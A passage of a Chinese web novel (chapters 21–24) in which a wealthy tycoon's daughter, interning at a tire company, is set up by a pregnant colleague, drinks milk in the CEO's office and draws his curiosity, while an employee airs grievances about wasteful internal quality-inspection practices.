肖瑜被问得莫名其妙,也挤了眉头,不解地问道,“我没有啊,我为什么会比别人特殊?”
“计财部还没签,就拿来给我签。”顾程挑了下眉,笑得很淡,“那就是你觉得我很闲,时间多的花不完?可以坐下来花一两个小时也帮计财部把工作做一做?”
“我......”肖瑜直觉哪里出了问题,可还是很不明白,嗫嚅道,“是前辈跟我说,这些票都审完了,让我拿上来顺便找您一起签了。”
“哪个前辈?”顾程一边说,一边抱臂往后靠,而安祈攸已经直接拿起了固话。
肖瑜低眉想了想,并不打算隐瞒,看着电话说道,“是美茗姐跟我说的。”
安祈攸的脑子里像是有个通讯簿,待肖瑜话音刚落,他的手指在电话上摁了几下,摁下免提,那边立马就响起了财务部的接线声,“老总,您好。我是财务部的黄小玲。”
“让周美茗接一下电话。”安祈攸一改先前有点散漫的神色,正了色微微蹙眉的模样,令肖瑜忍不住又看了他好几眼。
顾程将她的表情看在眼里,也看了看安祈攸。
“安总?”周美茗的声音传过来,依旧是温温柔柔无世无争的样子。
“肖瑜拿来的票怎么回事?”说话的是顾程,并不是责备,却也没什么笑意,“已经实习一周了,连计财部签完才能拿来都不知道吗?”
“对不起老总,是我的错。”周美茗的声音立刻有点诚惶诚恐,一股脑把错都揽到了自己身上,“我刚才跟肖瑜说,顺便把票拿上去,指的是计财部。我也以为上周这些基础报账流程她已经很熟悉了,没想到她会直接带到您那儿去了。真对不起,等她回来我会再好好教她的。”
“明明是你说要老总签字的。”肖瑜再单纯,也听出来了周美茗明着扛错,实际又摆了自己一道,她上前一步低头对着话筒,说得又急又快,“刚才是你说,这些票因为数额超出了权限,得老总最后签字的。”
“对啊。”周美茗的嗓音里充满了自责,还带了安慰的语调,“肖瑜,你先别着急生气,都是我没交代清楚。这些票超出了我的权限,但都是计划内的,所以还是得计财部李总先签了,最后拿给老总签字。是我说的不清楚,不怪你。你先拿回来吧,别耽误老总时间,他很忙的。”
安祈攸放下电话的时候,肖瑜气得眼睛都红了。
可尽管委屈地想哭,她也知道现在面对的不是父母和哥哥,不是无论对错都能包容她的家人,而是自己就算不想、也必须逐渐适应的现实社会。
她胸脯剧烈起伏着,从顾程面前拿回了票据,只摘出来属于西郊厂区那张,重又放回桌上,“顾总,请您把这张签了,可以吗?按照流程,这张是必须您先批
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准了,才可以拿给计财部的。”
她的声音明明像是马上就要哭出来了,却还是很有记性地改了称呼,坚持要把该做的事情做完。
乖得很。
顾程接过票看她一眼,拿起笔低了头,却是跟安祈攸说道,“去给她倒杯牛奶。”
“?”安祈攸原本正看着肖瑜,小姑娘忍着眼泪装坚强的模样,惹得他都有几分心疼。哪里知道自家老板嘴一张,没有安慰或者劝解,居然是给人一杯牛奶?
顾程见他没动,抬起头来看他一眼。
安祈攸连忙快步走进休息室,开了冰箱倒了奶,探头出来问道,“要加热吗?”
“要。”肖瑜抽了下鼻子,并没有觉得不合适,扁着嘴说道,“谢谢。”
顾程又抬头看她一眼,本想提醒她,谢谢给错了人。可肖瑜泪水在眼睛里打转的模样,到底让他缓了语气,指指她身侧的座椅,“先坐。碰巧正打算深入了解一下你们这批实习生。既然刚好过来了,就先从你开始。”
他一边说,一边把签好的票递回给肖瑜,见她终于完成任务似的轻轻舒了口气,顾程也说不出心里那丝如释重负来自何处,也舒了口气,待她接过安祈攸拿来的牛奶,才笑了笑,说道,“刚来一周就把熊猫给惹了,你本事不小。以后尽量不要跟周美茗起冲突,她你可惹不起。”
肖瑜喝了口牛奶,暖暖的,甜甜的,抚慰了不少委屈。她有点不解地看着顾程,小心地问道,“为什么?”
尽管她并不想惹谁,可以后燕北北是打算长期呆在华驰的,多了解一些人和事,总归是有益的。
“职场中的孕妇。”顾程又笑了,似有几分无奈,“她的背后可是国家,别说你了,连我都惹不起。”
肖瑜默默看他一眼,点了下头,继续喝牛奶。
“你是舟城人?”
肖瑜又轻轻点了下头,顾程伸出手,安祈攸已经从一旁的档案中,递来一份。他垂眼看着上边的资料,淡淡笑了笑,“你爸爸叫肖......”
肖瑜从唇边拿开牛奶杯,眼睛下意识看向档案表,咽了下嗓子。
顾程轻轻挑了下眉,缓缓念道,“肖青山。个体户?”
“嗯。”肖瑜轻轻舒了口气,弯起唇角,咕咚咕咚喝完牛奶,把空杯递给安祈攸,“谢谢您。”
安祈攸深吸一口气,扯起一丝不怎么自然的笑,接过空杯,慢吞吞走回休息室。
他在华驰,向来都是一人之下。可如今.....算了,只要不让他牺牲色相,端茶递水的活就忍了吧。
顾程也忍不住勾了下唇角。因为肖瑜随意自然的使唤,还有安祈攸敢怒不敢言的隐忍。
只有肖瑜还像听课一样,认真地等着老总继续深入了解自己。
于是顾程又问,“你们舟城有一家很著名的卡客车制造商,远洲。他们的老总也姓肖,叫肖远舟。会不会刚巧是你亲戚?”
22. 第 22 章
第二十二章
肖瑜咽了下嗓子,垂下眼眸抠起了手指,“八百年前也是一家吧。我平时除了上学就是在家呆着,对这些企业了解的不多。”
“拿票去计财部吧。”
肖瑜以为他还会继续问,哪知顾程将档案递回给安祈攸,似笑非笑看着她,“待会儿回了科室,别跟周美茗对质,没有必要。平时离她远点,要是因为你,碰着磕着,有个什么好歹的,我也护不了你。”
*
“就这么让她走了?”
眼见肖瑜拿了票,很感激地跟顾程道谢离开,安祈攸不解地说道,“顾总,这可是肖远舟的女儿。”
学校那边得到的真实档案信息,肖瑜的父母姓名栏里,清楚地写着‘肖远舟,穆青华’。
“侨光的消息可不止咱们知道。”顾程伸手捏了捏眉心,依旧是似笑非笑的神色,“他选华驰作为宝贝女儿的实习单位,绝对不是随随便便的决定。肖远舟这个老狐狸……你猜,要是直到肖瑜实习结束回了家,我都不知道这是他肖远舟的千金。他会怎么看我?”
“你瞎,没眼光,错把珍珠当鱼目。”
顾程挑眉,深深看了他一眼,“安祈攸,你是觉得肖瑜多看了你两眼,你就已经是肖家女婿了是吗?”
“顾总您在说什么!”安祈攸一副受伤的模样,只差没指天起誓了,“你问我,我实话实说。我对您的忠心日月可鉴!她再看我,我也不会见色忘义!”
“你都二十八了,比我还大一岁。”提起这茬,顾程多少有点纳闷,也有点说不出的不是滋味,他转头,上上下下又重新打量了一遍安祈攸,皱眉,“我还真是有点好奇,她到底看上你哪儿了?怎么第一眼看到你的眼神,那么……”
也不是热情或者爱慕,就是让人感觉很特别,似乎安祈攸让她惊艳到,忍不住想要亲近。
“我也不知道,尤其你还在边上。”安祈攸也很纳闷。他跟顾程身高不相上下,但抛开顾程本质上又闷又无趣的性格,俊逸风流的长相,健美结实的身材,不管穿衣服还是不穿衣服,不管到哪儿,女人们的目光都会优先停留在他身上。这个肖瑜,的确是破天荒第一个。
安祈攸想着,忽然低声笑了笑,“你猜这会不会就是那种生理性喜欢?”
“什么意思?”
“我女朋友说,她对我就是。”安祈攸有点不好意思地避开了顾程的目光,又咳了咳,“她说我对她有种特殊的吸引力,就……每次一看到我就想过来抱一抱,亲一亲,想……那个什么我……”
顾程听了,也轻咳一声,“明天给你放个假?”
“啊?”安祈攸有点反应不过来,“怎么突然想起来给我放假?您有私事要处理?”
顾程拿起手边的保温杯,吹了吹,“雄性激素过剩也是病。你明天还是去医院好好检查一下。”
“……”安祈攸深深吸了一口气,决定还是只跟眼前这位交流工作就好,“顾总,那现在都已经知道了,是不是应该给肖瑜重新安排个实习岗位?”
“暂时不要。”顾程抬手看了眼表,安祈攸那边也给他递来了大衣,他一边穿,一边思忖着说道,“还不清楚肖远舟的意图,所以这个度,我还需要考虑考虑。直接就把肖瑜区别对待,不也说明我们功利心太强吗?”
“难道他在考验,或者说,是专门让他女儿来观察我们的?”
“你觉得肖瑜有这本事?”顾程挑了下眉,想起那个憋着眼泪在总裁办公室喝牛奶的小姑娘,摇着头笑了笑,“不过也不好说,虎父无犬女。或许那副单纯无辜的模样,本身就是让人放下戒心的手段。先别管她了,交代一下娜娜,我不在的时候多留意一下她,不出事就行。南区的事才是重点,走。”
*
回到办公室的肖瑜很安分。
周美茗做好了要被她质问的准备,可见她眼眶红红回来坐下继续工作,她勾了下唇角,也转头继续继续自己的事情。
嫩犊子,不给点教训不知道自己几斤几两。
肖瑜摸了摸鼠标,两个电脑屏幕上,一个是单位报账制度,一个是空白的电子表格。
她先是认认真真把流程梳理了一遍,便记录着重点,制作起自己设计的台账。
午饭的时候,肖瑜又打了电话给陆洋,得知他还在总部办事,便带上打印好的审批重点,约了他一起在食堂吃饭。
“老总没为难你吧?”陆洋也挺不好意思的,可一大早陈总就催着他过来,为人属下他也确实没得选。
“没有,他已经签过字,我交到计财部了。”肖瑜把打印过的材料递给他,很仔细地交代道,“陆洋,这是每次审批的重点。下次拿票过来的时候,请你按照列表勾兑一遍。然后你们厂区的票,我会专门做一个台账,余额和报账时间我会定期给你发邮件顺便抄送陈总和顾总。我们这样走一个月帐试试看,应该会减少很多不必要的麻烦。”
“顾总?”陆洋愣了一下,悄声道,“你说大boss啊?得了吧,的确抄送给他可以让陈总有所顾忌,可老总总是收到这种没必要的邮件,挨批的还是你。”
“我挨批没关系,只要可以让你们的流程顺畅一些。况且也不是一直都发,过一两个月陈总习惯了,就不用再抄送了。”肖瑜笑了笑,看在陆洋眼里甜甜的,“美茗姐也跟我说了,报账本就是你们职责外的工作。我们减少一些内耗,你们可以有更多的精力去做本职工作,总归是对公司有益的。”
“肖瑜.......”陆洋抿了下唇,有点感动,可又觉得为肖瑜不值,压低了声音悄声说道,“你只是一个实习生,没有必要这么认真。就算做到百分百,想针对你的人,总能挑出错。”
“可我会觉得问心无愧啊。”肖瑜无所谓地笑了笑,“之前我也的确没经验,以为向前辈学习就行了。其实制度都清清楚楚挂在内网上,是我自己学习的不够到位,怨不得别人。”
陆洋没有接话,好半天,才点点头,很真诚地说道,“你让我想起了自己刚毕业那会。肖瑜,我们同期那批人里头,我可是老大哥一般的存在。你这个朋友我交定了,以后有什么我能帮忙的,你也尽管说。”
肖瑜愣了一下,笑容像初春的花朵一般绽放,“好呀,以后有陆大哥罩着我,我工作起来就更有底气了。”
“别惹孕妇。”陆洋也笑了,朝食堂门口挑了下眉,有几分不屑,“就她难伺候。说不得,吼不得,声音大点就说孩子受惊了。刚来这边报账的时候我不知道,急了吼两句,人直接请了两周假养胎,把我们厂的票锁起来,一个月都不走账。气死个人,你还没处讲理。”
“这么夸张的啊?”肖瑜也转头看了眼门口的方向,见周美茗他们走进来,她客气地点了下头,想起顾程交代的话,回过头来笑了笑,“她的背后是国家,惹不起我躲就好了。”
*
夜来跟父母视频聊天,说起在单位一切都好,肖瑜想了想,还是把跟周美茗之间的小龌龊告诉了他们。
初入职场,本就不可能事事顺畅,如果只是报喜不报忧,父母说不定会因为担心频频前来探望。何况已经从顾程和陆洋那里都得到了建议,只要她接下来时刻提防着周美茗,这事儿其实也算已经过去了。
肖远舟听了,倒是难得有点好奇地多问了几句,“你见过顾程了?他有问过你什么吗?”
“嗯。”肖瑜很得意地说道,“他问我,您也姓肖,跟我是不是亲戚。我说我们八百年前也是一家。爸爸,我是不是很机灵?”
“乖宝真聪明。”肖远舟笑了笑,把视频屏幕让给穆青华,“有委屈多跟你妈聊聊,我们不惹事,但也从来不怕事。”
肖瑜有点没明白,穆青华接过视频却笑了,“你爸说的对,我们家乖宝这么乖,要是还有人不满意,咱也不能老惯着。职场孕妇多照顾照顾是对的,可老把肚子里的娃娃当筹码,总归是你这个师傅人品不行。乖宝,下回她再欺负你,你就跟她说,你家孩子可真听话,娘胎里就知道专挑上班的时候闹。不过街边十三进宫的毛头小子们可没你家娃娃这么懂事,要是哪天放假的时候被他们给冲撞了,单位最多也就是上门慰问慰问,一点责任都没有。”
燕北北刚好从浴室出来,听到视频里的话,脚步顿了一下。
肖瑜抿了
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下唇,也有点惊讶地应道,“妈妈,这是让我威胁她吗?”
“讲道理而已。”穆青华依旧是温温柔柔的笑,眼睛里都是对女儿的疼惜,“她不是仗着肚子找茬吗?那咱们就多关心关心她的肚子。乖宝啊,我怎么瞅着你都瘦了呢?别是被她欺负地吃不下饭吧?”
“没有啊,可能上班了就没有婴儿肥了吧。”肖瑜甜甜笑了笑,说道,“妈妈,后天你跟爸爸别过来了,单位元宵节专门安排了家不在本地的同事一起聚会,我还想跟北北他们去看灯展。而且你跟爸爸总这么来回跑,我会很心疼的。”
“可你一个人在那过元宵节,爸妈也心疼啊。”穆青华不舍地瞅着她,“这还是第一回元宵节乖宝不在家。要不请个假吧,给你接回来几天?”
“妈妈……”肖瑜撒着娇,嘟着嘴,“我才刚上班几天啊,请假不合适。而且以后毕业回了家,肯定年年都在家里过的。妈妈……我听说泽城灯展很漂亮的,你让我跟朋友一起去逛逛嘛,妈妈……”
“乖宝在外边也就再待半年,让她好好玩吧。”旁边传来肖远舟的劝慰。
穆青华轻轻叹了口气,转头看了眼自家老公,再回头时眼中有丝担忧,“主要是以前有……晚上出去看灯展,妈妈怕你不安全。要不让你哥去陪你看?”
“没关系的妈妈,我们不会很晚回来的。我到家就跟您视频,好吗?”肖瑜瞅一眼边上的燕北北,偷偷冲她勾勾手指。
燕北北会意,连忙走过来看向视频,笑道,“阿姨您好。我们同期的几个实习生会一起去的,我更会寸步不离做好护花使者的。”
穆青华被她逗笑,又抬眼看了看屏幕外,才低声叹了口气,也笑道,“行吧,那你们可别在外边待太久,晚上早点回来,到家报个平安。”
“嗯!”
*
“既然顾程过问了,肯定心里有数。”见穆青华放下手机还是忧心忡忡的模样,肖远舟宽慰地拍着她的手,笑了笑,“在他眼皮子底下,宝贝女儿要是还会出个什么好歹,那也算我有眼无珠了。”
穆青华一点笑意都没有,“就算顾程想攀上这层关系,那也不过是工作上的事,生活上哪儿能照顾周全?你没看乖宝还得受一个孕妇的气吗?”
“这也说明他人品还算过关。”肖远舟低声笑了笑,“我很欣赏他年纪轻轻却有实业兴邦的大志,要不然也不会给他这个机会。但他这种含着金钥匙出生的年轻人,最怕就是图一时兴趣,急功近利,不能稳扎稳打。如果因为知道乖宝是我的女儿,直接就佛一样给供起来,我还真是看不上。”
“那就让乖宝一直受气啊?”穆青华深深叹了口气,蹙眉道,“咱家姑娘从小就单纯善良得很,被人欺负了都还在自己身上挑错,一天天的,得多憋屈。”
肖远舟闻言低低笑了笑,把夫人拢在怀里悄声哄,“你当年不也单纯善良得很,可如今谁敢惹你?乖宝总归是要嫁人的,还是得多少有点手段。阿华,这半年,你就当给自己放个假,让乖宝历练历练,体验体验社会。你多陪陪我,多关心关心我,行不行?”
穆青华被他哄得松了眉,弯起唇角,“我都陪你大半辈子了,你不烦啊?”
“不烦。下辈子也想。”肖远舟轻轻抚着她的手臂,温声道,“我最难的时候,是你不离不弃,明明只是个天真单纯的小姑娘,却硬生生把自己逼得刀枪不入。阿华,你要是烦我了……”
“嗯?”穆青华挑眉看他。
肖远舟伸手捏了捏她的脸,笑道,“那我就死缠烂打再追你一遍。”
“去你的。几十岁人了,还老不正经的。”穆青华终于彻底在他的温声抚慰中舒了口气,倚在他胸膛怅然地说道,“昊昊跟乖宝……哎,那时候不知道他家里居然是这种情况,老姜他们的嘴也真是够严的,不然说什么我也不会让乖宝留在泽城实习。”
“世事不由人。”肖远舟想起那个自小看大的孩子,也不免有几分遗憾,“阿华,挑挑顺眼的准女婿吧。等乖宝回来,慢慢安排着都见一见,就算你想多留她几年,身边有个知冷知热的,总归能让她早点走出来。”
“嗯……”
23. 第 23 章
第二十三章
“你们科室那个孕妇欺负你了啊?”这厢,燕北北待肖瑜放下手机,两人一起来到阳台窝在一处,她便蹙眉问道,“看起来还挺和气的,原来是个笑面虎吗?”
“你以后也别惹她。”肖瑜不在意地笑了笑,拉起燕北北的手,“北北,等你做了CFO再帮我出气,她大着肚子,只要不是太过分,我都没关系的。还有西郊厂区的陆洋,我们已经是朋友了,他说他们同批来的人都跟他很好。以后我会介绍你们多接触。将来等我走了,你也可以多点朋友帮忙。”
燕北北听得心疼极了,她把头靠在肖瑜肩上,声音很轻,“小鱼儿,有时候我很羡慕你,温温柔柔的,脾气好,又那么爱笑,除了……那个人,几乎没见过你有烦心事。可有时候,我又很气你,自己受了委屈,还在为我,为别人考虑。人总是欺软怕硬的,不是与人为善就一定有好的结果。”
“嗯。”肖瑜伸手揉了揉她的脸,笑道,“我不是没脾气,只不过不想浪费精力在不在意的人身上。像美茗姐这种,只是很短暂的接触而已,我不觉得有必要因为她影响我的情绪。”
“心真大。”见她盘腿伸手拿起了笔记本,燕北北很是无奈地摇摇头,起身往屋里走去,“我去给你热个奶就睡了啊,明天一早得跟师傅下县。”
肖瑜连忙扬起眉,眯着眼儿笑,“奶味儿去不去啊?”
“去。”燕北北也回头冲她挑了下眉,“明天我一定要拉拉小手。”
*
顾程回到公寓的时候,夜色已深。
原本像今天这样因为酒局晚归,他第一时间都是先进浴室洗去满身的烟酒气。可近几天养成的另一个习惯,倒叫他脱下外套看了眼表,去冰箱拿了瓶气泡水,边拧瓶盖,边向阳台走去。
果然。
视线中,暖暖的橘色灯光里,松垮垮穿着睡衣睡裤的小姑娘,正一边喝着牛奶,一边滑动鼠标,情绪十分稳定。
顾程又低头看了眼表,十点一刻。
他索性懒懒靠在窗边,一边慢吞吞喝着水,一边饶有兴致地看。五分钟过后,那姑娘就跟被上过定时器似的,合上电脑拿上空的牛奶杯,灭了灯,进了屋。
连续几天,都是同样的流程和时间线。十点之前她独自一人抱着电脑狂敲键盘的时候,时不时会痛哭,抑或狂笑,标准的神经病。十点到十点二十,喝牛奶的时候,是她情绪稳定,最像个正常人的时候。
所以,肖远舟的女儿,是不是有定时定点会发作的间歇性神经病?所以他才会把这么个宝贝,直接搁自己眼皮子底下。
这是免费让他来做她的实习期监护人呢。
真是个老狐狸。
*
“顾总。”
次日一早,因为安祈攸被安排继续跟进南区的事,刘娜调制好黑咖端给顾程,犹豫了一下,才轻声说道,“昨天肖小姐在公司里一切都好。不过有一些工作以外的事情,我不知道需不需要跟您汇报。”
顾程接过咖啡点点头,依旧垂眸翻阅着报纸,很随意地应道,“她的事情,不管工作还是生活,只要有特殊的地方,我都需要知道。”
刘娜心里生出一丝惊讶,思忖着说道,“第一件事……肖小姐好像跟西郊厂区的陆洋关系挺好,两个人昨天是一起在食堂用的午餐。”
“陆洋?”顾程放下报纸。他忽然想起第一次在泽鼎见到肖瑜那晚,就是陆洋跟她一起出现在街边。昨天她被周美茗摆了一道后,还坚持要签字的那张票,也是西郊厂区的。
怪不得刚来就惹了周美茗这个大熊猫,原来是为了陆洋。
“呵。”他低笑一声,抬头去看刘娜,“还有别的?”
“第二件事,其实不是肖小姐本人的事情,但是跟她也有点关系。”刘娜因他喜怒难辨的脸色,语调越发认真,“跟肖小姐同住的燕北北,还有另外几个同批的实习生,他们在附近找了房子合租,周三下班就会搬过去。”
顾程微微一愣,“燕北北要搬走?那肖瑜以后是一个人住吗?”
定点发作,一个人住可以吗?
刘娜也愣了一下,有些为难地应道,“这个还不清楚。顾总,需要我详细了解一下吗?”
“不用了。”顾程眉心微蹙又低头翻了翻报纸,继而抬首交代道,“通知陆洋,让他今天下午……中午就过来吧,午饭后过来见我。”
“好的顾总。”
“还有……”顾程想了想,叮嘱道,“那几个实习生,自己找车应该不太方便,有的估计还在住校,距离比较远。他们周三搬新居的事情,你让总裁办直接安排下去,一定要把公司的关怀传达到位。”
“好的顾总。”
*
陆洋匆匆赶来的时候,有点摸不着头脑,可去问刘娜,她也只是一如既往淡淡的,跟电话里说的一样,并不知道老总忽然要见他的具体事由。
然而等陆洋挠着头进了总裁办公室,刘娜才深深舒了口气,努力保持着平日的工作情绪,心里却翻江倒海一样不能平静。
他们家顾总好不容易铁树开次花,没想到陆洋居然掺和了进去,可真是作孽。
*
“你跟肖瑜很熟?”随着陆洋在面前坐下,顾程开门见山地问道,“她为了你拿来的票,可是费了不少功夫,一点不怕得罪人。是不是在她过来实习前,你们就认识?”
陆洋愣了一下,这才明白被突然叫过来,还是因为陈总的票。他无奈地挠挠头,叹了口气,“老总,我跟肖瑜就是因为报账才认识的。她虽然是个实习生,可心胸宽广,很有大局意识,比……比那谁可是大气多了。”
他本不愿在大老板面前被认做是爱告黑状的小人,可听顾程的问话,分明已经觉得肖瑜是因为跟他私交甚好,才不依不饶地为他的票奔波。陆洋是个十分义气豪爽的人,哪儿受得了因为自己的事让朋友背锅,立刻就把跟肖瑜之间那几次交道的细节,悉数讲明。
末了,他还十分诚恳地跟顾程说道,“老总,我知道我一个搞质检的,人微言轻。可我在厂里也接触过别的实习生,肖瑜跟他们很不一样。他们想的更多的,是如何才能在竞争中脱颖而出,拉关系,探消息,为自己考虑的远比为公司考虑的多,可肖瑜不是。
“那天我听到她说,只希望能减少内耗,强化公司利益的时候,我是很感动的。因为我想起了刚入职时的自己,也跟她一样,总想着哪怕自己受点累,受点苦,只要能让我所在的单位因为我的付出,越来越好,那我做的一切都是有意义的。”
陆洋说到最后,嗓音里甚至
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听得出几分哽咽。
顾程有些意外,而听到他末尾那几句话,更是面色凝重地看着他,眉心微微蹙起。
原本他只想旁敲侧击问问陆洋跟肖瑜的关系,看看能不能从他这里探出来些途径,可以绕过肖瑜拿下远洲。却不料意外听到了来自一线的心声,甚至还带了明显的失望之意。
顾程沉默着起身给陆洋倒了杯茶,自己也往保温杯里添了些,才在陆洋激动过后有几分忐忑的注视下,舒展了眉目淡淡笑道,“在我这里,不存在人微言轻的说法。公司里的每一位成员,都是华驰最宝贵的财富。我自认是个讲道理,也接受得了批评和建议的人。我想知道是什么让你觉得,现在的付出,就没有意义了?”
“内耗。”陆洋从未有机会坐在总裁办公室里,谈心一样直面公司的最高决策人。他原本因为激动,已经失言,如今顾程的温和谦逊,也让他索性放开,沉声说道,“我们质检部就是例子。公司有质检标准,有的批次明明没有问题,为了KPI非得找些不着调的小细节让你报上去,就像胎纹上沾了几个手印、有几根头发这样的问题,这是质量问题吗?然后就得给生产部出具问题列表,再去检查他们的一系列自查整改报告。
“老总,我们是质检,不是刑侦。生产部的人也有觉得不理解不合理的。原本明明可以把更多的时间,放到学习先进技术和国外品质标准更新上,为什么非要消耗那么多时间在这些没有意义的事情上?可你觉得不对,不愿意出具问题报告,就是态度不端正,工作不认真,评优评先都没你。老总,你说,我能不觉得憋屈吗?能不向现实屈服吗?”
“我怎么没见过这样的质检报告?”顾程不禁又凝了眉,“我不是质疑你。你说的问题很严肃,也很严重,我会在不声张的情况下梳理整顿。所以,你不要觉得有负担。”
陆洋愣了一下,看向顾程的目光有些惊讶,“您会仔细看质检报告吗?每份都看吗?”
“会。”顾程点点头,很认真地应道,“每个分厂,每个分部报过来的,每一份,我都会看。”
陆洋显然又愣了一下,神色间多了份敬重,却很是疑惑地问道,“难道是厂部根本没报上来吗?老总,我这个月还写了两个,其中一个我都羞得慌,就是同批次轮胎出场过程中,有一两个油没擦干净。”
“我相信你。”顾程笑了,有几分无奈,更多的是感激,“这次对话止于你我,元宵节之前我不会有任何动作。但是陆洋,也请你相信我。四年前我既然排除一切阻力把华驰保住,必然不会让它再倒下去。至于我今天找你的缘由……就当还是为了那张特批的票吧。”
*
陆洋走的时候跟刘娜打招呼,一个大咧咧直脾气的小年轻,居然眼眶红红的。
刘娜不禁小心地看向总裁办公室虚掩的房门。果然没过多久,房门就被从内关上,继而自己的内线响起,是顾程的电话,嗓音闷闷的,“下午的视频会议取消,时间待定。”
“好的顾总。”
刘娜轻轻舒了口气,一边去总裁办安排了人通知各厂部,一边给安祈攸打电话,“安总,顾总今天心情不大好。”
“能好才怪呢,南区那几个老头……哎!”安祈攸也是一股子郁气,长叹一声才无奈地说道,“好,明白了。”
24. 第 24 章
第二十四章
办公室里,顾程仰面靠在座椅上,闭着眼睛,眉宇间有浅浅的褶皱。
内耗……
四年前接管华驰后,在父辈的指引下,新鲜血液的热情助力下,还有老员工旧情不减的支持下,他倾尽心血的昔日老牌企业不但起死回生,如今甚至有了可以跟远洲这样的业内巨头共事的能力,却没想到,内部居然开始出现了问题。
身为管理者,有很多小事顾程其实就算知道,也因为无关大局,从未觉得有插手的必要。就比如,周美茗跟西郊如今的技术总监陈总陈玲,两人之间小打小闹的不合。
她们两个原本在厂区是业务比肩的姐妹花,但华驰濒临破产被接管时,老一批业务骨干不少都被挖走,眼瞅着技术部总助的空缺有望在二人之间落定,周美茗恰巧怀了第一胎,而陈玲同时放出为事业奉献终身的豪言壮语,因为实际情况,也因为两个人截然不同的性格,最终陈玲坐上了总助的职位,而周美茗也被照顾进了总部的财务科。
重整初期,各个厂区技术部都过得很艰辛,一路走来吃过的苦受过的累,别说孕妇,就是精力差点的男人都熬不住。可陈玲凭着全心扑在事业上的热情,硬生生挺了过来,甚至在启用新技术和新科技上与领导层一样,十分有前瞻性,也很果敢决断,所以深得青睐,在第二次人事大变动的时候,直接晋升总经理,薪酬也翻了数倍。
反观当时被调往总部财务的周美茗。起初还因为薪酬职级相当,但业务清闲不少,自觉受了身孕的好运,时不时在跟陈玲见面的时候,会表现出几分优越感。可当陈玲高升,拿了她几倍薪酬的时候,总部人才济济、机会甚少的周美茗,又只恨当年陈玲就是因为她有了身孕,才故意拿不想结婚说事儿,抢了自己的机会。
这档子龌龊,厂里的老人儿们一清二楚,顾程自然也十分了解。只是因为她俩除了报账并没有其他交集,况且票据就算送来的再晚,就是他签个字点个头的事,他也懒得在这些小事儿上多花心思。
可如今细思才发现,就因为这点事儿,竟然让肖瑜和陆洋这些个完全不相干的人,都得到了牵扯,影响到了本职工作。甚至今日,更是从陆洋口中,听到真切的失望,和更为严重的问题。
所谓内耗,不就是一点一滴,一个人一件事,慢慢积少成多,才会最终出现问题吗?
果然虎父无犬女。
顾程的眉心,因为想起那个间接让他了解到这些事情的小姑娘,不自禁松开了些。
别看她到了晚上会有定时发作的癫,可这才来了几天,看人看事能直接看到点子上不说,三言两语地就把公认的炮仗陆洋给化成了绕指柔。本事真是不小。
*
正在收拾工位准备下班的肖瑜,鼻子有点痒。
哈秋哈秋打了两个喷嚏,跟她隔了两米多的周美茗连忙捂住嘴,“你感冒了怎么不请假呢?传染给别人多不好。”
“打个喷嚏就可以请假啊?”肖瑜拿开打喷嚏时用来遮掩的纸抽,翘起头看向财务室的头头赵姐,“赵姐,那要不我明天请个假?”
“美茗逗你玩儿呢。”赵姐也正收拾着自己的包,闻言佯怒地嗔了她一眼,“要是打个喷嚏就能请假,厂里都没人了。说不定是你男朋友想你了,下了班赶紧约会去。”
肖瑜一脸惋惜地扁了下嘴,继而是灿烂的笑,“那我就听话地先走啦。”
她前脚出门,后脚周美茗便摇着头,似乎很无奈,“赵姐,你啊,就是脾气好。别说当年咱们实习的时候,就现在,您还没走,她先走了。”
“年轻人,夜生活丰富。”赵姐也笑了笑,朝她挥挥手,“我得赶紧回去监督儿子写作业了,你们也别墨迹,早点回家。”
这几日周美茗对肖瑜若有若无的针对,办公室人人心里有数。尽管别的人因为忌惮周美茗小心眼,不想乱站队,可作为财务室头头,赵姐还是挺喜欢肖瑜的。肖瑜虽是新人,性格脾气好,做事情也的确认真负责,况且,也正是因为她敢得罪周美茗,这个月赵姐才不用在最后一秒,又得腆着脸跟西区陈总解释,或是委屈巴巴上楼找老总签字。
不过喜欢归喜欢,实习过后肖瑜能不能、或者会不会留下,很难说。是以她平时不会主动掺和到两人的事情中,可场面上装傻充愣还是多少会护一下肖瑜。
赵姐刚下到一楼,远远看到老总身边的刘娜竟然正跟肖瑜说话,手中似乎还提了个礼盒一样的东西。她愣了一下,装作没看到似的赶紧转头,走向了通往停车场的另一道门。
小姑娘那身行头本就不像个普通的实习生。昨天刘娜打电话来了解肖瑜的情况,说的是总裁办很重视这批实习生,会定期不定期来了解他们的工作生活。
眼下这看起来,可像是有点区别对待啊。
*
肖瑜看到刘娜和她手里的M家黑森林时,也十分诧异。
“原本是安总买给顾总的。可顾总现在没胃口,想起来你比较喜欢这个口味,就让我拿过来了。”
肖瑜有点犹豫地看看蛋糕,到底还是没说这并不是自己喜欢的,而是接过来很感激地说了声谢谢。
她不喜欢,可北北晚上回来多个甜点,应该会心情不错。
“顾总今天心情很差。”刘娜见小姑娘接了蛋糕没什么反应,补充道,“他以往心情不太好的时候会吃点,可今天看起来连蛋糕都没什么兴趣,应该是挺难受的。”
肖瑜愣了一下,因想起另一个人的口味和习惯,心头酸酸地疼了疼,不禁问道,“顾总心情不好的时候也喜欢吃蛋糕吗?”
“嗯。”刘娜点了下头,笑道,“而且必须是他们家的黑森林。”
肖瑜又看了眼手里的蛋糕,“那......我跟顾总是邻居。晚上回去我请他分享?”
“这主意好。”刘娜轻舒一口气,笑道,“要是再配个顾总喜欢的荷包蛋清汤面,他一定会心情好很多。”
肖瑜犹豫了,一脸尴尬地瞅着她,“那会给我算加班费吗?”
“......”刘娜噎了一下,半天才应道,“我可以跟顾总申请一下。不过不知道他会不会批,他一向公私很分明的。”
说话的间隙,已经有不少人陆陆续续乘坐电梯下了楼,不少人看到是刘娜在跟肖瑜说话,难免对这个本就引起了话题的小姑娘,另眼几分。
周美茗也跟黄小玲她们说笑着走了出来,见到这一幕,面色青白不定。
肖瑜实习前就是因为蛋糕认识的顾程,并未觉得有什么不妥,依旧踌躇地说着,“主要是我不会做面,待会儿为了安慰顾总,要去超市买面,还要看视频学习做饭,会耽误我下班后的个人时间。所以......”
“这么为难啊。”刘娜听她这么一说,忍不住笑道,“好,我一
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定转达到位。那就辛苦你了?”
*
“肖瑜要请我吃面?”
办公室里,听到刘娜的回复,顾程微微愣了一下,点点头,“周美茗看到你了吗?”
“嗯。”刘娜也点了下头,“我等到她下了班才离开的。顾总,肖瑜厨艺不好,为了请您吃饭,不仅需要去超市买食材,还要看视频学做饭,很费心。要不给她算个加班费吧?”
“加班费?”顾程轻嗤一声摆摆手,“好吃的话可以给点小费,加班费还是算了。你下班吧,这里有小安在。”
